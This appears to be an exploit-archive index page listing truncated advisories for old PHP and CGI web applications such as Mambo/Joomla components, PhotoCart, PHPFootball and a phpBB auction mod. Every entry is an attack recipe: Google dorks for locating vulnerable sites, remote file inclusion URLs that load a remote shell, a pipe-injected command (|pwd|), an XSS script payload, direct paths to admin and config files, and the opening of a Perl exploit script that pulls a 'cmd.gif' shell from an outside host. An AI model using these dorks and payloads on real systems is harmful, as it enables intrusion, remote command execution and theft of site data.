Article Directory (index.php page) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ====================================================================== Article Directory index.php page Remote File Inclusion Vulnerability ======================================================================...

mj-rfi.txt

Hi every body... There are some Remote File Inclussion bugs on Mamabo & Joomla Script... You can search ; ex: inurl:Dork , dork, allinurl:dork on google or the other search sites.. Dork: comcomprofiler Expl: administrator/components/comcomprofiler/plugin.class.php?mosConfigabsolutepath=Shell Dork...

jbrowser.txt

JBrowser acces to admin/config files By : sn0oPy Risk : high Dork : inurl:"JBrowser/index.php" exploit : juste replace the http://www.target.ma/jbrowser/index.php by http://www.target.ma/jbrowser/admin/ contact : [email protected] greetz : subzero, Avg...

Ezboo webstats acces to sensitive files

Ezboo webstats acces to sensitive files By : sn0oPy Risk : medium site : http://www.ezboo.com/softs exploit : juste add this files to the url : http://www.target.ma/ezwebstats/update.php http://www.target.ma/ezwebstats/config.php Dork : inurl:"/ezWebStats/" intitle:"ezBOO WebStats" contact :...

Allons_voter Version 1.0 xss and admin votes

Allonsvoter Version 1.0 xss and admin votes wihtout password By : sn0oPy Risk : medium Dork : inurl:"Allonsvoter" exploit : Be admin : http://www.target.com/Allonsvoter/menu.html replace it by http://www.target.com/Allonsvoter/adminajouter.php or http://www.target.com/Allonsvoter/adminsupprimer.p...

PHPFootball 1.6 - Remote Database Disclosure

Title : PHPFootball 1.6 show.php Remote Database Disclosure Vulnerability Author : ajann Contact : : S.Page : http://phpfootball.sourceforge.net $$ : Free Dork : inurl:/phpfootball/ DBREAD--------------------------------------------------------- http://target/path//show.php VARIABLES Example:...

golden book XSS

golden book XSS By : sn0oPy Risk : high Site : http://triviere.free.fr/ exploit : any site scripting scriptalert'tested by sn0oPy'/script for exemple Dork : inurl:"/goldenbook/index.php" contact : [email protected] greetz : subzero, Avg Teamforums.avenir-geopolitique.net...

photocart39.txt

--0-1006808724-1164114500=:98901 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit PhotoCart 3.9 adminprint.php Remote File Include Vulnerability Script site: http://www.picturespro.com/store/programs/129-photocart.html Dork : inurl :/PhotoCart/ Bug Found By : irvian...

WebAPPv0.9.9.2.1.txt

By b0rizQ Dork : inurl:"apage/apage.cgi OR powered by WebAPP v0.9.9.2.1 File : apage.cgi Exploits : http://www.exemple.com/cgi-bin/mods/apage/apage.cgi?f=training.htm.|pwd|...

colophon.txt

REMOTE COMMAND Mambo Colophon =1.2 by Drago84 Found By Drago84 Exclusive Security Italian Security This bug allows a remote atacker to execute commands via rfi page: admin.colophon.php bug: requireonce"$mosConfigabsolutepath/components/comcolophon/language/$mosConfiglang.php"; path: add in...

Mambo Component pollxt 1.22.07 - Remote File Inclusion

Mambo Component pollxt 1.22.07 - Remote File Inclusion Application : pollxt mambo Component URL : http://www.mamboxt.com Variable $mosConfigabsolutepath not sanitized: xpl works with registerglobals=on in components/compollxt/conf.pollxt.php on line 1-2...

Mambo Component com_forum 1.2.4RC3 - Remote File Inclusion

Mambo Component comforum 1.2.4RC3 - Remote File Inclusion Bug Found by h4ntu http://h4ntu.com batamhacker crew Another Mambo component remote inclusion vulneribility download : http://mamboxchange.com/frs/download.php/6873/phpbbcomponent1.2.4RC3.zip bug found in file : download.php define'INPHPBB...

Auction 1.3m - 'phpbb_root_path' Remote File Inclusion

!/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path =...